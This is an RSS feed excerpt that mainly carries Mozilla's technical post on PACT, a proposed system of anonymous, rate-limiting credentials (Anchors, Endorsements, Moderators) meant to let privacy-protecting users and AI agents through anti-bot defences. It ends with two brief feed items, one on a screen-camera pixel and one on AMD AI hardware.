<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Video Screen That Is Also a Camera]]></title>
<description><![CDATA[Amazing:
Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by man...]]></description>
<link>https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693281/reverse-engineering/a-video-screen-that-is-also-a-camera/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:08 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://gizmodo.com/newly-invented-pixel-could-turn-screens-into-cameras-2000777917">Amazing</a>:</p>
<blockquote><p>Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by manipulating light’s intensity, oscillation phases, and polarization. The team reported its findings in a paper published yesterday in Nature.</p></blockquote>
<p>We are one step closer to <i>1984</i> technology:</p>
<blockquote><p>The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD's New Helios AI Just Made NVIDIA's $5 Million AI Rack Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 64x - Views:1898 AMD may have just launched the biggest challenge NVIDIA has faced in years. Helios isn't just another AI GPU it's AMD's first full rack-scale AI supercomputer, powered by 72 Instinct MI455X GPUs, 18 EPYC Venice CPUs, and an incredible 31TB of HBM4...]]></description>
<link>https://tsecurity.de/de/3693209/videos/amds-new-helios-ai-just-made-nvidias-5-million-ai-rack-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693209/videos/amds-new-helios-ai-just-made-nvidias-5-million-ai-rack-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
